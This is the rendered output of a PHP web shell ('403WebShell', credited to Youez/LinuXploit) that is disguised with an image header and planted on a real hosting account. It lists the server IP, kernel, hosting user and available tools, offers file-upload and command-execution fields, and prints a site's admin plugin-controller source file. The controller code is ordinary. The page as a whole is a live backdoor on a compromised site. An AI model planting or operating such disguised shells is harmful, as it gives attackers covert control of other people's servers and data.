����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.216.171.199
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./greatlifehub.ng/glfiles.name.ng/app/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./greatlifehub.ng/glfiles.name.ng/app/controllers/admin/PluginController.class.php
<?php

namespace App\Controllers\admin;

use App\Core\Database;
use App\Models\Plugin;
use App\Helpers\AdminHelper;
use App\Helpers\CoreHelper;
use App\Helpers\CacheHelper;
use App\Helpers\PluginHelper;
use App\Helpers\ThemeHelper;
use App\Helpers\UserActionLogHelper;
use PclZip;

class PluginController extends AdminBaseController
{

    public function pluginManage()
    {
        // admin only
        $this->restrictAdminAccess();

        // pickup request
        $db = Database::getDatabase();
        $request = $this->getRequest();

        // update plugin config cache
        PluginHelper::loadPluginConfigurationFiles(true);

        // clear route cache
        CacheHelper::removeRouteCache();

        // error/success messages
        if ($request->query->has('sm')) {
            // redirect to plugin settings
            AdminHelper::setSuccess(urldecode($request->query->get('sm')));
            if (strlen(trim($request->query->get('plugin')))) {
                AdminHelper::redirect(ADMIN_WEB_ROOT.'/plugin/'.urlencode(trim($request->query->get('plugin'))).'/settings');
            }
        } elseif ($request->query->has('d')) {
            AdminHelper::setSuccess(urldecode($request->query->get('d')));
        } elseif ($request->query->has('error')) {
            AdminHelper::setError(urldecode($request->query->get('error')));
        }

        // load template
        return $this->render('admin/plugin_manage.html', [
            'currentProductUrl' => ThemeHelper::getCurrentProductUrl(),
            'currentProductName' => ThemeHelper::getCurrentProductName(),
        ]);
    }

    public function ajaxPluginManage()
    {
        // admin restrictions
        $this->restrictAdminAccess();

        // pickup request
        $db = Database::getDatabase();
        $request = $this->getRequest();

        // import any new plugins as uninstalled
        AdminHelper::registerPlugins();
        $pluginConfigs = PluginHelper::getPluginConfiguration();

        $iDisplayLength = (int)$request->query->get('iDisplayLength');
        $iDisplayStart = (int)$request->query->get('iDisplayStart');
        $filterText = $request->query->has('filterText') ? $request->query->get('filterText') : null;

        $sqlClause = "WHERE 1=1 ";
        if ($filterText) {
            $filterText = $db->escape($filterText);
            $sqlClause .= "AND (CAST(plugin.folder_name AS CHAR CHARACTER SET latin1) LIKE '%".$filterText."%' OR ";
            $sqlClause .= "CAST(plugin.plugin_name AS CHAR CHARACTER SET latin1) LIKE '%".$filterText."%')";
        }

        $sQL = "SELECT * FROM plugin ";
        $sQL .= $sqlClause." ";
        $sQL .= "ORDER BY plugin_name ";
        $totalRS = $db->getRows($sQL);

        $sQL .= "LIMIT ".$iDisplayStart.", ".$iDisplayLength;
        $limitedRS = $db->getRows($sQL);

        $data = [];
        if (count($limitedRS) > 0) {
            foreach ($limitedRS as $row) {
                // preload version number
                $pluginVersion = 'NOT FOUND';
                $pluginConfig = PluginHelper::getPluginConfigByFolderName($row['folder_name']);
                if ($pluginConfig !== false) {
                    $pluginVersion = 'v'.$pluginConfig->getPluginVersion();
                }

                $lRow = [];
                $lRow[] = '<img src="'.WEB_ROOT.'/plugins/'.$row['folder_name'].'/assets/img/icons/16px.png" width="16" height="16" title="'.$row['plugin_name'].'" alt="'.$row['plugin_name'].'"/>';
                $lRow[] = (($row['is_installed'] == 1) ? ('<a href="'.ADMIN_WEB_ROOT.'/plugin/'.$row['folder_name'].'/settings">') : '').AdminHelper::makeSafe($row['plugin_name']).(($row['is_installed'] == 1) ? '</a>' : '').'<br/><span style="color: #777;">'.AdminHelper::makeSafe($row['plugin_description']).'</span>';
                $lRow[] = '/'.AdminHelper::makeSafe($row['folder_name']);
                $lRow[] = '<span class="statusText'.(($row['is_installed'] == 1) ? 'Yes' : 'No').'">'.(($row['is_installed'] == 1) ? 'Yes' : 'No').'</span>';
                $lRow[] = $pluginVersion;
                $lRow[] = '<img src="'.CORE_ASSETS_ADMIN_WEB_ROOT.'/images/spinner_small.gif" alt="Checking for Updates" data-toggle="tooltip" data-placement="top" data-original-title="Checking for Updates" class="update_checker identifier_'.$row['folder_name'].'"/>';

                $links = [];
                if ($row['is_installed'] == 1) {
                    // link in settings
                    $links[] = '<a href="'.ADMIN_WEB_ROOT.'/plugin/'.$row['folder_name'].'/settings">settings</a>';

                    // add any plugin specific links
                    if (isset($pluginConfigs[$row['folder_name']]['config']['admin_settings']['plugin_manage_nav'])) {
                        foreach ($pluginConfigs[$row['folder_name']]['config']['admin_settings']['plugin_manage_nav'] as $pluginLinks) {
                            $links[] = '<a href="'.PLUGIN_WEB_ROOT.'/'.$row['folder_name'].'/'.AdminHelper::makeSafe($pluginLinks['link_url']).'">'.strtolower(AdminHelper::makeSafe($pluginLinks['link_text'])).'</a>';
                        }
                    }

                    // uninstall link
                    $links[] = '<a href="#" onClick="confirmUninstallPlugin('.(int)$row['id'].'); return false;" class="plugin_uninstall_'.$row['folder_name'].'">uninstall</a>';
                } elseif ($pluginVersion != 'NOT FOUND') {
                    $links[] = '<a href="#" onClick="confirmInstallPlugin('.(int)$row['id'].'); return false;" class="plugin_install_'.$row['folder_name'].'">install</a>';
                }

                if (($row['is_installed'] != 1) || ($pluginVersion == 'NOT FOUND')) {
                    $links[] = '<a href="#" onClick="confirmDeletePlugin('.(int)$row['id'].'); return false;" class="plugin_delete_'.$row['folder_name'].'">delete</a>';
                }
                $lRow[] = implode(" <span class='plugin_option_divider'>|</span> ", $links);

                $data[] = $lRow;
            }
        }

        $resultArr = [];
        $resultArr["sEcho"] = intval($_GET['sEcho']);
        $resultArr["iTotalRecords"] = (int)count($totalRS);
        $resultArr["iTotalDisplayRecords"] = $resultArr["iTotalRecords"];
        $resultArr["aaData"] = $data;

        // output response
        return $this->renderJson($resultArr);
    }

    public function pluginManageAdd()
    {
        // admin only
        $this->restrictAdminAccess();

        // pickup request
        $db = Database::getDatabase();
        $request = $this->getRequest();

        // check for write permissions on the plugins folder
        if (!is_writable(PLUGIN_DIRECTORY_ROOT)) {
            AdminHelper::setError(AdminHelper::t("error_plugin_folder_is_not_writable",
                "Plugin folder is not writable. Ensure you set the following folder to CHMOD 755 or 777: [[[PLUGIN_FOLDER]]]",
                ['PLUGIN_FOLDER' => PLUGIN_DIRECTORY_ROOT]));
        }

        // handle page submissions
        if ($request->request->has('submitted')) {
            // delete existing tmp folder
            $tmpPath = PLUGIN_DIRECTORY_ROOT.'_tmp';
            if (file_exists($tmpPath)) {
                AdminHelper::recursiveDelete($tmpPath);
            }

            // validate submission
            if ($this->inDemoMode()) {
                AdminHelper::setError(AdminHelper::t("no_changes_in_demo_mode"));
            } elseif (!isset($_FILES['plugin_zip'])) {
                AdminHelper::setError(AdminHelper::t("no_file_found", "No plugin file found, please try again."));
            } elseif (strlen($_FILES['plugin_zip']['tmp_name']) == 0) {
                AdminHelper::setError(AdminHelper::t("no_file_found", "No plugin file found, please try again."));
            } elseif (strpos(strtolower($_FILES['plugin_zip']['name']), '.zip') === false) {
                AdminHelper::setError(AdminHelper::t("not_a_zip_file",
                    "The uploaded file does not appear to be a zip file."));
            }

            // add the plugin
            if (AdminHelper::isErrors() === false) {
                // attempt to extract the contents
                $zip = new PclZip($_FILES['plugin_zip']['tmp_name']);
                if ($zip) {
                    if (!mkdir($tmpPath)) {
                        AdminHelper::setError(AdminHelper::t("error_creating_plugin_folder",
                            "There was a problem creating the plugin folder. Please ensure the following folder has CHMOD 777 permissions: ".PLUGIN_DIRECTORY_ROOT));
                    }

                    if (AdminHelper::isErrors() === false) {
                        $zip->extract(PCLZIP_OPT_PATH, $tmpPath.'/');

                        // make sure we have a PluginConfig.class.php file
                        if (!file_exists($tmpPath.'/PluginConfig.class.php')) {
                            AdminHelper::setError(AdminHelper::t("error_reading_plugin_details_file",
                                "Could not read the plugin settings file 'PluginConfig.class.php'."));
                        }

                        // get the namespace, so we can read the class properties later
                        $namespace = AdminHelper::extractNamespace($tmpPath.'/PluginConfig.class.php');
                        if ($namespace === false) {
                            AdminHelper::setError(AdminHelper::t("error_reading_plugin_namespace",
                                "Could not read the plugin namespace from 'PluginConfig.class.php'. Please ensure this is defined and try again."));
                        }

                        if (AdminHelper::isErrors() === false) {
                            require_once($tmpPath.'/PluginConfig.class.php');
                            try {
                                // try to load the class to get the config
                                $fullClassname = '\\'.$namespace.'\PluginConfig';
                                $pluginObj = new $fullClassname();
                                $pluginConfig = $pluginObj->getPluginConfig();
                            } catch (\Exception $e) {
                                AdminHelper::setError($e->getMessage());
                            }

                            if ((AdminHelper::isErrors() === false) && (!isset($pluginConfig['folder_name']))) {
                                // check for the folder_name setting in _plugin_config.inc.php
                                AdminHelper::setError(AdminHelper::t("error_reading_plugin_folder_name_file",
                                    "Could not read the plugin folder name from 'PluginConfig.class.php'."));
                            }

                            // only for yetishare as other product types have different versions
                            if ((AdminHelper::isErrors() === false) && (ThemeHelper::getCurrentProductType() == 'file_hosting')) {
                                if (isset($pluginConfig['required_script_version'])) {
                                    // check that the required script version is valid for the current script version
                                    if (version_compare($pluginConfig['required_script_version'],
                                            CoreHelper::getScriptInstalledVersion()) > 0) {
                                        AdminHelper::setError(AdminHelper::t("error_minimum_script_version_not_met",
                                            "The minimum core script version for this plugin is v[[[MIN_SCRIPT_VERSION]]], you are using v[[[CURRENT_SCRIPT_VERSION]]]. Please upgrade if you want to install this plugin.",
                                            [
                                                'MIN_SCRIPT_VERSION' => $pluginConfig['required_script_version'],
                                                'CURRENT_SCRIPT_VERSION' => CoreHelper::getScriptInstalledVersion(),
                                            ]));
                                    }
                                }
                            }

                            if (AdminHelper::isErrors() === false) {
                                // rename tmp folder
                                if (!rename($tmpPath, PLUGIN_DIRECTORY_ROOT.$pluginConfig['folder_name'])) {
                                    AdminHelper::setError(AdminHelper::t("error_renaming_plugin_folder",
                                        "Could not rename plugin folder, it may be that the plugin is already installed or a permissions issue."));
                                } else {
                                    // user action logs
                                    UserActionLogHelper::logAdmin('Added plugin', 'ADMIN', 'ADD', [
                                        'data' => $pluginConfig,
                                    ]);

                                    // redirect to plugin listing
                                    AdminHelper::setSuccess('Plugin successfully added. To enable the plugin, install it below and configure any plugin specific settings.');
                                    AdminHelper::redirect('plugin_manage');
                                }
                            }
                        }
                    }
                } else {
                    AdminHelper::setError(AdminHelper::t("error_problem_unzipping_the_file",
                        "There was a problem unzipping the file, please try and manually upload the zip files contents into the plugins directory or contact support."));
                }
            }
        }

        // load template
        return $this->render('admin/plugin_manage_add.html', [
            'currentProductUrl' => ThemeHelper::getCurrentProductUrl(),
            'currentProductName' => ThemeHelper::getCurrentProductName(),
        ]);
    }

    public function ajaxPluginManageInstall()
    {
        // admin restrictions
        $this->restrictAdminAccess();

        // pickup request
        $db = Database::getDatabase();
        $request = $this->getRequest();
        $pluginId = (int)$request->request->get('plugin_id');

        // prepare result
        $result = [];
        $result['error'] = false;
        $result['msg'] = '';
        $result['id'] = $pluginId;
        $result['plugin'] = '';

        // validate submission
        if ($pluginId == 0) {
            $result['error'] = true;
            $result['msg'] = AdminHelper::t("plugin_id_not_found", "Plugin id not found.");
        } elseif ($this->inDemoMode()) {
            $result['error'] = true;
            $result['msg'] = AdminHelper::t("no_changes_in_demo_mode");
        }

        if (strlen($result['msg']) == 0) {
            $plugin = Plugin::loadOneById($pluginId);
            if (!$plugin) {
                $result['error'] = true;
                $result['msg'] = AdminHelper::t("could_not_locate_plugin",
                    "Could not locate plugin within the database, please try again later.");
            } elseif ($plugin->is_installed == 1) {
                $result['error'] = true;
                $result['msg'] = AdminHelper::t("plugin_already_installed",
                    "The plugin you've selected is already installed.");
            } else {
                // install plugin
                $pluginPath = PLUGIN_DIRECTORY_ROOT.$plugin->folder_name.'/';
                $pluginClassFile = $pluginPath.'Plugin'.UCFirst(strtolower($plugin->folder_name)).'.class.php';
                $pluginClassName = '\\Plugins\\'.UCFirst(strtolower($plugin->folder_name)).'\\Plugin'.UCFirst(strtolower($plugin->folder_name));

                // make sure we have the main class file
                if (!file_exists($pluginClassFile)) {
                    $result['error'] = true;
                    $result['msg'] = AdminHelper::t("plugin_code_not_found",
                        "Could not locate the plugin code within the plugins folder, please add it and try again.");
                } else {
                    try {
                        // include the plugin code
                        include_once($pluginClassFile);

                        // create an instance of the plugin
                        $instance = new $pluginClassName();

                        // call the install method
                        $instance->install();

                        // user action logs
                        UserActionLogHelper::logAdmin('Installed plugin', 'ADMIN', 'UPDATE', [
                            'data' => [
                                'plugin_name' => $plugin->plugin_name,
                                'folder_name' => $plugin->folder_name,
                            ],
                        ]);
                    } catch (Exception $e) {
                        $result['error'] = true;
                        $result['msg'] = "Exception: ".$e->getMessage();
                    }
                }

                if ($result['error'] == false) {
                    $result['msg'] = 'Plugin \''.$plugin->plugin_name.'\' successfully installed. Please configure any settings for the plugin using the link below.';
                    $result['plugin'] = $plugin->folder_name;
                }
            }
        }

        // output response
        return $this->renderJson($result);
    }

    public function ajaxPluginManageUninstall()
    {
        // admin restrictions
        $this->restrictAdminAccess();

        // pickup request
        $db = Database::getDatabase();
        $request = $this->getRequest();
        $pluginId = (int)$request->request->get('plugin_id');

        // prepare result
        $result = [];
        $result['error'] = false;
        $result['msg'] = '';
        $result['id'] = $pluginId;
        $result['plugin'] = '';

        // validate submission
        if ($pluginId == 0) {
            $result['error'] = true;
            $result['msg'] = AdminHelper::t("plugin_id_not_found", "Plugin id not found.");
        } elseif ($this->inDemoMode()) {
            $result['error'] = true;
            $result['msg'] = AdminHelper::t("no_changes_in_demo_mode");
        }

        if (strlen($result['msg']) == 0) {
            $plugin = Plugin::loadOneById($pluginId);
            if (!$plugin) {
                $result['error'] = true;
                $result['msg'] = AdminHelper::t("could_not_locate_plugin",
                    "Could not locate plugin within the database, please try again later.");
            } elseif ($plugin->is_installed == 0) {
                $result['error'] = true;
                $result['msg'] = AdminHelper::t("plugin_already_uninstalled",
                    "The plugin you've selected has already been uninstalled.");
            } else {
                // uninstall plugin
                $pluginPath = PLUGIN_DIRECTORY_ROOT.$plugin->folder_name.'/';
                $pluginClassFile = $pluginPath.'Plugin'.UCFirst(strtolower($plugin->folder_name)).'.class.php';
                $pluginClassName = '\\Plugins\\'.UCFirst(strtolower($plugin->folder_name)).'\\Plugin'.UCFirst(strtolower($plugin->folder_name));

                // make sure we have the main class file
                if (!file_exists($pluginClassFile)) {
                    // failed loading the config, just set the record as uninstalled
                    $db->query('UPDATE plugin '
                        .'SET is_installed = 0 '
                        .'WHERE id = :id '
                        .'LIMIT 1', [
                        'id' => $plugin->id,
                    ]);

                    // error reporting
                    $result['msg'] = AdminHelper::t("plugin_code_not_found_error_uninstalled",
                        "Could not locate the plugin code within the plugins folder, although we have marked the plugin as uninstalled within the database.");

                    return $this->renderJson($result);
                } else {
                    try {
                        // include the plugin code
                        include_once($pluginClassFile);

                        // create an instance of the plugin
                        $instance = new $pluginClassName();

                        // call the uninstall method
                        $instance->uninstall();

                        // user action logs
                        $pluginObj = PluginHelper::getInstance($plugin->folder_name);
                        UserActionLogHelper::logAdmin('Uninstalled plugin', 'ADMIN', 'UPDATE', [
                            'data' => [
                                'plugin_name' => $plugin->plugin_name,
                                'folder_name' => $plugin->folder_name,
                            ],
                        ]);
                    } catch (Exception $e) {
                        $result['error'] = true;
                        $result['msg'] = "Exception: ".$e->getMessage();
                    }
                }

                if ($result['error'] == false) {
                    $result['msg'] = 'Plugin \''.$plugin->plugin_name.'\' successfully uninstalled.';
                    $result['plugin'] = $plugin->folder_name;
                }
            }
        }

        // output response
        return $this->renderJson($result);
    }

    public function ajaxPluginManageDelete()
    {
        // admin restrictions
        $this->restrictAdminAccess();

        // pickup request
        $db = Database::getDatabase();
        $request = $this->getRequest();
        $pluginId = (int)$request->request->get('plugin_id');

        // prepare result
        $result = [];
        $result['error'] = false;
        $result['msg'] = '';
        $result['id'] = $pluginId;
        $result['plugin'] = '';

        // validate submission
        if ($pluginId == 0) {
            $result['error'] = true;
            $result['msg'] = AdminHelper::t("plugin_id_not_found", "Plugin id not found.");
        } elseif ($this->inDemoMode()) {
            $result['error'] = true;
            $result['msg'] = AdminHelper::t("no_changes_in_demo_mode");
        }

        if (strlen($result['msg']) == 0) {
            $plugin = Plugin::loadOneById($pluginId);
            if (!$plugin) {
                $result['error'] = true;
                $result['msg'] = AdminHelper::t("could_not_locate_plugin",
                    "Could not locate plugin within the database, please try again later.");
            } elseif ($plugin->is_installed == 1) {
                $result['error'] = true;
                $result['msg'] = AdminHelper::t('uninstall_plugin_before_deleting',
                    'Please uninstall the plugin before deleting.');
            } else {
                // delete the plugin
                $pluginPath = realpath(PLUGIN_DIRECTORY_ROOT.$plugin->folder_name);
                if (file_exists($pluginPath)) {
                    if (AdminHelper::recursiveDelete($pluginPath) == false) {
                        if (!rmdir($pluginPath)) {
                            $result['error'] = true;
                            $result['msg'] = AdminHelper::t('Could_not_delete_some_plugin_files',
                                'Could not delete some files, please delete them manually.');
                        }
                    }
                }
                if (strlen($result['msg']) == 0) {
                    $db->query('DELETE FROM plugin '
                        .'WHERE id = :id '
                        .'LIMIT 1', [
                        'id' => $plugin->id,
                    ]);

                    // user action logs
                    UserActionLogHelper::logAdmin('Deleted plugin', 'ADMIN', 'DELETE', [
                        'data' => [
                            'plugin_name' => $plugin->plugin_name,
                            'folder_name' => $plugin->folder_name,
                        ],
                    ]);

                    $result['msg'] = AdminHelper::t('plugin_successfully_deleted', 'Plugin successfully deleted.');
                }
            }
        }

        // output response
        return $this->renderJson($result);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit